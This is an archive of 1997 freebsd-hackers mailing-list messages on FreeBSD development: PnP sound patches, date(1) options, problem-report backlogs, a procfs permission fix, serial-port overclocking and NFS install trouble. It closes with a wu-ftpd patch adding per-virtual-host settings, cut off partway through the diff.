1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA19497 for hackers-outgoing; Sun, 10 Aug 1997 15:22:26 -0700 (PDT) Received: from mom.hooked.net (root@mom.hooked.net [206.80.6.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA19487 for ; Sun, 10 Aug 1997 15:22:22 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@tibet-37.ppp.hooked.net [206.80.9.165]) by mom.hooked.net (8.8.5/8.8.5) with SMTP id PAA19730 for ; Sun, 10 Aug 1997 15:22:20 -0700 (PDT) Date: Sun, 10 Aug 1997 15:22:29 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: freebsd-hackers@freebsd.org Subject: PnP support with 3.0? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I asked multimedia@freebsd.org's resident expert on SoundBlaster AWE's how I would go about getting it working, and he had mentioned that I should download a patch that configures PnP support. I did download this package but I noticed that a 3.0-CURRENT patch was missing (go figure, it had a 2.2-CURRENT patch ;-) ). Has someone created a patch for this, or would it be worth my while to attempt to manually patch my source then diff everything? - alex From owner-freebsd-hackers Sun Aug 10 16:54:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA24590 for hackers-outgoing; Sun, 10 Aug 1997 16:54:33 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA24585 for ; Sun, 10 Aug 1997 16:54:31 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.7/8.8.7) with ESMTP id TAA07580; Sun, 10 Aug 1997 19:55:06 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.7/8.8.7) with SMTP id TAA07135; Sun, 10 Aug 1997 19:55:21 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Sun, 10 Aug 1997 19:55:21 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: hoek@hwcn.org To: Brian Somers cc: Tim Vanderhoek , Greg Lehey , FreeBSD Hackers Subject: Re: date(1) In-Reply-To: <199708102049.VAA21847@awfulhak.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Brian Somers wrote: > > Of course, in the interest of script-portability, we should not > > extend date(1) at all. Anyone trying to enter the century should > > get an error. This is the whole purpose of Posix, to increase > > portability. By creating extensions to it, we defeat the whole > > purpose just for the sake of creating a better operating system. > > Well, I've done the other changes (they only take effect if you use > the new flags). Is the general concensus that we should leave out > the century ? It's no loss if we leave it out as allowable dates Well, my comment was really more a (fairly realistic) parady of the "logic" that had just been used to shoot down a valid extension to sleep(1) (had the submitter phrased himself differently, I doubt anyone would have reacted as they did). There really is no value in _not_ adding the century (other than saving a little coding time, and the [assorted negative adjectives deleted] argument about "portability), even if there is no immediate value in adding it either. Actually, I thought the concensus went the other way. -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Sun Aug 10 16:57:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA24703 for hackers-outgoing; Sun, 10 Aug 1997 16:57:03 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA24696 for ; Sun, 10 Aug 1997 16:57:00 -0700 (PDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id RAA27563; Sun, 10 Aug 1997 17:56:47 -0600 (MDT) Date: Sun, 10 Aug 1997 17:56:47 -0600 (MDT) Message-Id: <199708102356.RAA27563@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Wolfgang Helbig Cc: brandon@roguetrader.com (Brandon Gillespie), freebsd-hackers@freebsd.org Subject: Re: why bother submitting anything (via send-pr) In-Reply-To: <199708101852.UAA27642@helbig.informatik.ba-stuttgart.de> References: <199708101852.UAA27642@helbig.informatik.ba-stuttgart.de> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > The PRs seem to be orphaned since Mike Pritchard left the FreeBSD > project in May 1997. We submitters who are not committers have a > *very* hard time getting any feedback. This is the main problem, and Mike didn't actually leave the project so much as disappeared from the face of the earth. Since no warning was given, and that people often 'go away' on volunteer projects it wasn't considered a bad thing until all attempts to contact him were un-successful. > Jordan mentioned that he's going to hire developers for porting > the OS to another architecture. (He left open which architecture.) > I conclude from this, the desertion of the PRs and the discussion > about current ports versus stable ports that the FreeBSD project > is switching to a commercial company that does not depend on > volunteers any more in the long run. Your conclusions are wrong. Jordan is simply 'paying' for a port to another architecture, instead of relying on someone doing it as a volunteer project. Given that there is money for such a project, it implies that someone is willing to pay for it, so by paying for it one would (hopefully) get a more committed person and the project would happen at a much faster rate, therefore justifying the expense to whomever is willing to pay. I suspect the majority of FreeBSD work will always be 'volunteer', and the lack of a GNATS person has been unfortunate and unforseen, which will hopefully be filled in the near future (~6 months). Nate From owner-freebsd-hackers Sun Aug 10 16:55:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA24631 for hackers-outgoing; Sun, 10 Aug 1997 16:55:55 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA24626 for ; Sun, 10 Aug 1997 16:55:52 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id QAA06069; Sun, 10 Aug 1997 16:58:21 -0700 (PDT) Message-Id: <199708102358.QAA06069@implode.root.com> To: Sean Eric Fagan cc: hackers@FreeBSD.ORG Subject: Re: Fix for the PROCFS security hole! In-reply-to: Your message of "Sun, 10 Aug 1997 10:34:50 PDT." <199708101734.KAA17222@kithrup.com> From: David Greenman Reply-To: dg@root.com Date: Sun, 10 Aug 1997 16:58:21 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >In article you write: >>I'm not to sure how to do it, but IF the procfs system could be modified >>to somehow act like the /dev/tty* system, where the second a user >>logs on the device is then owned by them and all other users access is >>revoked. This could work that a setuid proc when exec'd, procfs would >>automatically change permissions on it so that it is untainable. > >The solution I'm working on right now (which I've had in mind for a while) >was to have procfs return an error when doing any I/O to a process which has >ever changed id's, unless (of course) the calling process is root. That will break ps(8)...I've already been down that road and several others... At the moment, I think changing the permissions on the mem file to always be uid 0/gid 2 is the correct solution, but this may require changes to gdb (which I think uses procfs to read/write the target process). I might be wrong about gdb, however - I thought it did the process manipulation a different way, but I then saw its kvm_uread() opens the mem file. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Sun Aug 10 17:02:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA25022 for hackers-outgoing; Sun, 10 Aug 1997 17:02:23 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA25001 for ; Sun, 10 Aug 1997 17:02:14 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id RAA02427; Sun, 10 Aug 1997 17:01:36 -0700 (PDT) To: Wolfgang Helbig cc: brandon@roguetrader.com (Brandon Gillespie), freebsd-hackers@FreeBSD.ORG Subject: Re: why bother submitting anything (via send-pr) In-reply-to: Your message of "Sun, 10 Aug 1997 20:52:19 +0200." <199708101852.UAA27642@helbig.informatik.ba-stuttgart.de> Date: Sun, 10 Aug 1997 17:01:36 -0700 Message-ID: <2423.871257696@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The PRs seem to be orphaned since Mike Pritchard left the FreeBSD > project in May 1997. We submitters who are not committers have a > *very* hard time getting any feedback. > > Six of my submissions are left open. Some of them are already fixed or > analyzed and should be closed, some are only fixing typos or adding > a line to man pages and are not worth the trouble you have to > go into in order to get your submission noticed. Again, I'm _very sorry_ you're having this experience and all I can say is that this is due to overload, not any deliberate desire to ignore PRs. Far from it - I'd sleep better at night if I had someone looking after the PRs full-time but wishing alone does not, unfortunately, make it so. > They do! Last week I've got more responses (three) from NetBSD users > than from the FreeBSD project (zero). They probably have far fewer PRs overall to respond to. ;-) > Jordan mentioned that he's going to hire developers for porting > the OS to another architecture. (He left open which architecture.) FreeBSD/ALPHA > I conclude from this, the desertion of the PRs and the discussion > about current ports versus stable ports that the FreeBSD project > is switching to a commercial company that does not depend on > volunteers any more in the long run. This is a thoroughly incorrect conclusion, I'm afraid. What the FreeBSD project is current trying to do is cope realistically with the side-effects of its success, such side-effects being a burgeoning PR database, more tech support questions flowing in than most of our volunteers can handle and a greately increased need for an effective quality assurance program. To put it another way, there are a growing number of tasks which volunteers refuse to handle simply because they are not fun at all and rather too much like a Real Job(tm) for them to want to do it for free. It is THESE people that I'd like to pay, along with the serious developers needed to make progress on a number of stalled issues (like the new installation tools), in order that FreeBSD might continue to deliver on its promise. I think you vastly underestimate the size of the growing gap between what volunteers are willing to do and the number of un-done tasks we have piling up, waiting for a mysterious "someone" to do them. Jordan From owner-freebsd-hackers Sun Aug 10 17:20:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA25936 for hackers-outgoing; Sun, 10 Aug 1997 17:20:50 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA25931 for ; Sun, 10 Aug 1997 17:20:46 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA23978; Sun, 10 Aug 1997 17:19:09 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd023976; Mon Aug 11 00:19:07 1997 Date: Sun, 10 Aug 1997 17:16:51 -0700 (PDT) From: Julian Elischer To: "Brian J. McGovern" cc: tom@sdf.com, hackers@FreeBSD.ORG Subject: Re: 230+K (was RE: ISDN driver/cards) In-Reply-To: <199708101831.OAA00540@spoon.beta.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Brian J. McGovern wrote: > > Anyhow, just thought you'd like to know there are some UART (or "serial > port") based solultions out there. > -Brian I have a set of patches for sio.c that use a set of 'flags' bit in the device flags to specify that the device in question is overclocked by some multiplier.. The driver then uses different multipliers so that 9600 still gives 9600 but that new values become available e.g. a flags 0f 0x--1----- where (- == don't care) would tell the driver you are overclocking by 2 (the value of 0 is 1:1 and 15 is overclocking 1:16 ) so sio.c knows to double the dividers when the above flag is used so tha the speeds come out right.. I will try check it in in the next week or two. sio.c is getting too complicated I think...... julian From owner-freebsd-hackers Sun Aug 10 18:20:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA28761 for hackers-outgoing; Sun, 10 Aug 1997 18:20:03 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA28707 for ; Sun, 10 Aug 1997 18:19:55 -0700 (PDT) Received: from awfulhak.org (dev.lan.awfulhak.org [10.0.1.5]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id BAA03811; Mon, 11 Aug 1997 01:32:44 +0100 (BST) Received: from dev.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.7/8.8.6) with ESMTP id BAA05222; Mon, 11 Aug 1997 01:32:37 +0100 (BST) Message-Id: <199708110032.BAA05222@awfulhak.org> X-Mailer: exmh version 2.0zeta 7/24/97 To: hoek@hwcn.org cc: Brian Somers , Greg Lehey , FreeBSD Hackers Subject: Re: date(1) In-reply-to: Your message of "Sun, 10 Aug 1997 19:55:21 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 11 Aug 1997 01:32:37 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Sun, 10 Aug 1997, Brian Somers wrote: > > > > Of course, in the interest of script-portability, we should not > > > extend date(1) at all. Anyone trying to enter the century should > > > get an error. This is the whole purpose of Posix, to increase > > > portability. By creating extensions to it, we defeat the whole > > > purpose just for the sake of creating a better operating system. > > > > Well, I've done the other changes (they only take effect if you use > > the new flags). Is the general concensus that we should leave out > > the century ? It's no loss if we leave it out as allowable dates > > Well, my comment was really more a (fairly realistic) parady of > the "logic" that had just been used to shoot down a valid > extension to sleep(1) (had the submitter phrased himself > differently, I doubt anyone would have reacted as they did). > > There really is no value in _not_ adding the century (other than > saving a little coding time, and the [assorted negative > adjectives deleted] argument about "portability), even if there > is no immediate value in adding it either. > > Actually, I thought the concensus went the other way. Oh. I didn't see any arguments after yours. I'd be happy to leave it as it is now in -current. If anyone *really* wants it, post a followup and I'll add it. > -- > Outnumbered? Maybe. Outspoken? Never! > tIM...HOEk > -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Aug 10 18:36:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA29670 for hackers-outgoing; Sun, 10 Aug 1997 18:36:41 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA29663 for ; Sun, 10 Aug 1997 18:36:38 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id SAA00409; Sun, 10 Aug 1997 18:36:35 -0700 (PDT) Message-Id: <199708110136.SAA00409@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Alex cc: freebsd-hackers@FreeBSD.ORG Subject: Re: PnP support with 3.0? In-reply-to: Your message of "Sun, 10 Aug 1997 15:22:29 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 10 Aug 1997 18:36:35 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk For this kind of stuff try to stay in the multimedia mailing list. I will redo the PnP distribution for -current tonite and is not a big deal . The big deal is attempting to support the sound driver 3.5, the PnP stuff and not the next generation sound driver which will address all this issues . Cheers, Amancio >From The Desk Of Alex : > I asked multimedia@freebsd.org's resident expert on SoundBlaster AWE's how > I would go about getting it working, and he had mentioned that I should > download a patch that configures PnP support. I did download this > package but I noticed that a 3.0-CURRENT patch was missing (go figure, it > had a 2.2-CURRENT patch ;-) ). Has someone created a patch for this, or > would it be worth my while to attempt to manually patch my source then > diff everything? > > - alex > > From owner-freebsd-hackers Sun Aug 10 19:32:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA02499 for hackers-outgoing; Sun, 10 Aug 1997 19:32:47 -0700 (PDT) Received: from ducky.net (gate.ducky.net [198.145.101.253]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA02480; Sun, 10 Aug 1997 19:32:37 -0700 (PDT) Received: from localhost.ducky.net (localhost.ducky.net [127.0.0.1]) by ducky.net (8.6.12/8.6.12) with SMTP id TAA03202; Sun, 10 Aug 1997 19:32:27 -0700 Message-Id: <199708110232.TAA03202@ducky.net> X-Authentication-Warning: ducky.net: Host localhost.ducky.net didn't use HELO protocol To: freebsd-hackers@freebsd.org, freebsd-hardware@freebsd.org Subject: question about "ed" driver performance on ASUS SP3G & 486DX4/100 Date: Sun, 10 Aug 1997 19:32:27 -0700 From: Mike Haertel Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have two boxes, one based on the ASUS SP3G with a 486 DX4/100 processor, and another based on the ASUS P6NP5 with a 150 MHz PPro. The 486 box has a 16-bit WD8013 based ethernet board, and the PPro has an EtherExpress Pro/100. I attempted to do an NFS install of FreeBSD 2.2.2 on the 486 box using the PPro box as the server. At appeared to detect the ethernet board Ok, but it got hung when actually trying to copy files. After a considerable pain I concluded that it was dropping the trailing packets (fragments), and the @#%@! UDP and/or NFS protocol on the server was responding by attempting to retransmit the entire packet again, and thus causing the trailing packets to be lost again. It seems that the PPro pumps the bits out on the wire so fast that the 486 had no time to catch its breath. Setting the maximum NFS read size to 2K or smaller allowed it to work. But slowly. The same wd8013 ethernet card worked fine for a network install to a Pentium/90 based Intel Xpress box. I really have trouble believing the 486/100 is so much slower than the Pentium/90 it can't keep up. So: Is there anything special I should know about wd8013 cards and ASUS SP3G's and/or 486/100's? Or am I just plain out of luck? In the latter case could anybody recommend a faster ISA ethernet card that's widely supported by the free OS's? Thanks, Mike From owner-freebsd-hackers Sun Aug 10 19:57:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA03894 for hackers-outgoing; Sun, 10 Aug 1997 19:57:28 -0700 (PDT) Received: from DNS.Lamb.net (root@DNS.Lamb.net [207.90.181.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA03889 for ; Sun, 10 Aug 1997 19:57:25 -0700 (PDT) Received: (from uucp@localhost) by DNS.Lamb.net (8.8.6/8.8.6) id TAA03037; Sun, 10 Aug 1997 19:57:29 -0700 (PDT) Received: from Melmac.org(207.90.181.122) via SMTP by DNS.Lamb.net, id smtpd003035; Sun Aug 10 19:57:25 1997 Received: (from ulf@localhost) by Melmac.org (8.8.5/8.7.6) id TAA07795; Sun, 10 Aug 1997 19:57:20 -0700 (PDT) From: Ulf Zimmermann Message-Id: <199708110257.TAA07795@Melmac.org> Subject: Diffs for further virtual settings To: wu-ftpd-bugs@academ.com Date: Sun, 10 Aug 1997 19:57:20 -0700 (PDT) Cc: hackers@freebsd.org, bsdnet@Melmac.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello. Below the signarture is a diff file for "access.c", "extensions.c", "ftpcmd.y" and "ftpd.c". The diffs allow further virtual settings like: limit upload overwrite rename umask noretrieve deny email log commands log transfers chmod delete I used the FreeBSD port based version of wu-ftpd-2.4.2BETA13 and tried not to include the patches, which the port system applies. The changes are also not very throughoutly tested. -- Regards, Ulf. -------------------------------------------------------------------------- Ulf Zimmermann, 1525 Pacific Ave., Alameda, CA-94501, #: 510-769-2936 Alameda Networks, Inc. | http://www.Alameda.net | Fax#: 510-521-5073 diff -c -r src.orig/access.c src/access.c *** src.orig/access.c Sun Aug 10 19:44:44 1997 --- src/access.c Sun Aug 10 18:55:32 1997 *************** *** 43,48 **** --- 43,55 ---- #else #include #endif + #ifdef VIRTUAL + #include + #include + #include + #include + #include + #endif #include #include #include *************** *** 335,340 **** --- 342,352 ---- #endif { char class[1024]; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif extern int log_incoming_xfers, log_outbound_xfers, *************** *** 396,402 **** } /* plan on expanding command syntax to include classes for each of these */ - entry = (struct aclmember *) NULL; while (getaclentry("log", &entry)) { if (!strcasecmp(ARG0, "commands")) { --- 408,413 ---- *************** *** 425,430 **** --- 436,481 ---- log_outbound_xfers = outbound; } } + #ifdef VIRTUAL + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2 || !ARG3) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "log")) { + if (!strcasecmp(ARG2, "commands")) { + if (anonymous && strcasestr(ARG3, "anonymous")) + log_commands = 1; + if (guest && strcasestr(ARG3, "guest")) + log_commands = 1; + if (!guest && !anonymous && strcasestr(ARG3, "real")) + log_commands = 1; + } + if (!strcasecmp(ARG2, "transfers")) { + set = 0; + if (strcasestr(ARG1, "anonymous") && anonymous) + set = 1; + if (strcasestr(ARG1, "guest") && guest) + set = 1; + if (strcasestr(ARG1, "real") && !guest && !anonymous) + set = 1; + if (strcasestr(ARG2, "inbound")) + inbound = 1; + if (strcasestr(ARG2, "outbound")) + outbound = 1; + if (set) + log_incoming_xfers = inbound; + if (set) + log_outbound_xfers = outbound; + } + } + } + } + } + #endif /* VIRTUAL */ } /*************************************************************************/ *************** *** 485,494 **** --- 536,575 ---- { int limit; struct aclmember *entry = NULL; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif if (msgpathbuf) *msgpathbuf = '\0'; + #ifdef VIRTUAL + /* virtual ip_addr limit [] */ + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2 || !ARG3 || !ARG4) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "limit")) { + if (!strcmp(class, ARG2)) { + limit = atoi(ARG3); + if (validtime(ARG4)) { + if (ARG5 && msgpathbuf) + strcpy(msgpathbuf, ARG5); + return (limit); + } + } + } + } + } + } + #endif /* VIRTUAL */ + /* limit [] */ while (getaclentry("limit", &entry)) { if (!ARG0 || !ARG1 || !ARG2) *************** *** 520,528 **** --- 601,641 ---- #endif { struct aclmember *entry = NULL; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif if (msgpathbuf) *msgpathbuf = (char) NULL; + + #ifdef VIRTUAL + /* virtual ip_addr deny [] */ + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "deny")) { + if (!nameserved && !strcmp(ARG2, "!nameserved")) { + if (ARG3) + strcpy(msgpathbuf, entry->arg[3]); + return(1); + } + if (hostmatch(ARG2)) { + if (ARG3) + strcpy(msgpathbuf, entry->arg[3]); + return(1); + } + } + } + } + } + #endif /* VIRTUAL */ /* deny [] */ while (getaclentry("deny", &entry)) { diff -c -r src.orig/extensions.c src/extensions.c *** src.orig/extensions.c Sun Aug 10 19:44:44 1997 --- src/extensions.c Sun Aug 10 19:29:23 1997 *************** *** 42,47 **** --- 42,54 ---- #else #include #endif + #ifdef VIRTUAL + #include + #include + #include + #include + #include + #endif #include #include #include *************** *** 55,60 **** --- 62,69 ---- #include #elif defined(HAVE_SYS_VFS) #include + #elif defined(__FreeBSD__) + #include #endif #include *************** *** 157,163 **** return(buf.f_bavail * buf.f_frsize / 1024); } ! #elif defined(HAVE_SYS_VFS) int getSize(s) char *s; { --- 166,172 ---- return(buf.f_bavail * buf.f_frsize / 1024); } ! #elif defined(HAVE_SYS_VFS) || defined(__FreeBSD__) int getSize(s) char *s; { *************** *** 194,199 **** --- 203,213 ---- int limit; extern struct passwd *pw; struct aclmember *entry = NULL; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif (void) time(&curtime); (void) acl_getclass(buffer); *************** *** 206,213 **** --- 220,248 ---- else { switch (*++inptr) { case 'E': + #ifdef VIRTUAL + /* virtual ip_addr email */ + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "email")) { + sprintf(outptr, "%s", ARG2); + goto email_breakout; + } + } + } + } + #endif /* VIRTUAL */ if ( (getaclentry("email", &entry)) && ARG0 ) sprintf(outptr, "%s", ARG0); + #ifdef VIRTUAL + email_breakout: + #endif /* VIRTUAL */ break; case 'N': sprintf(outptr, "%d", acl_countusers(buffer)); *************** *** 222,228 **** break; case 'F': ! #if defined(HAVE_STATVFS) || defined(HAVE_SYS_VFS) sprintf(outptr, "%lu", getSize(".")); #endif break; --- 257,263 ---- break; case 'F': ! #if defined(HAVE_STATVFS) || defined(HAVE_SYS_VFS) || defined(__FreeBSD__) sprintf(outptr, "%lu", getSize(".")); #endif break; *************** *** 806,811 **** --- 841,851 ---- struct passwd *pwent; struct group *grent; char buf[BUFSIZ]; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif while (getaclentry("upload", &entry) && ARG0 && ARG1 && ARG2 != NULL) { if (ARG3 && ARG4) { *************** *** 824,829 **** --- 864,900 ---- endgrent(); } } + #ifdef VIRTUAL + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2 || !ARG3 || !ARG4) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "upload")) { + if (ARG5 && ARG6) { + pwent = getpwnam(ARG5); + grent = getgrnam(ARG6); + + if (pwent) sprintf(buf, "%d", pwent->pw_uid); + else sprintf(buf, "%d", 0); + ARG5 = (char *) malloc(strlen(buf) + 1); + strcpy(ARG5, buf); + + if (grent) sprintf(buf, "%d", grent->gr_gid); + else sprintf(buf, "%d", 0); + ARG6 = (char *) malloc(strlen(buf) + 1); + strcpy(ARG6, buf); + endgrent(); + } + } + } + } + } + #endif /* VIRTUAL */ + } int *************** *** 956,961 **** --- 1027,1037 ---- char path[BUFSIZ]; char *sp; extern struct passwd *pw; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif *valid = 0; /* what's our current directory? */ *************** *** 981,986 **** --- 1057,1088 ---- else ap6 = NULL; } } + #ifdef VIRTUAL + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2 || !ARG3 || !ARG4) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "upload")) { + if ( (!strcmp(ARG2, pw->pw_dir)) && + ((i = path_compare(ARG3, cwdir)) >= match_value) ) { + match_value = i; + ap2 = ARG4; + if (ARG5) ap3 = ARG5; + else ap3 = NULL; + if (ARG6) ap4 = ARG6; + else ap4 = NULL; + if (ARG8) ap6 = ARG8; + else ap6 = NULL; + } + } + } + } + } + #endif /* VIRTUAL */ if ( ((ap2 && !strcasecmp(ap2, "no")) && (ap3 && strcasecmp(ap3, "dirs"))) || (ap3 && !strcasecmp(ap3, "nodirs")) || (ap6 && !strcasecmp(ap6, "nodirs")) ) { *************** *** 1022,1027 **** --- 1124,1134 ---- struct aclmember *entry = NULL; extern struct passwd *pw; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif *valid = 0; *************** *** 1053,1058 **** --- 1160,1192 ---- else ap5 = NULL; } } + #ifdef VIRTUAL + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2 || !ARG3 || !ARG4) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "upload")) { + if ( (!strcmp(ARG2, pw->pw_dir)) && + ((i = path_compare(ARG3, cwdir)) >= match_value) ) { + match_value = i; + ap1 = ARG3; + ap2 = ARG4; + if (ARG5) ap3 = ARG5; + else ap3 = NULL; + if (ARG6) ap4 = ARG6; + else ap4 = NULL; + if (ARG7) ap5 = ARG7; + else ap5 = NULL; + } + } + } + } + } + #endif /* VIRTUAL */ if (ap3 && ( (!strcasecmp("dirs",ap3)) || (!strcasecmp("nodirs", ap3)) )) 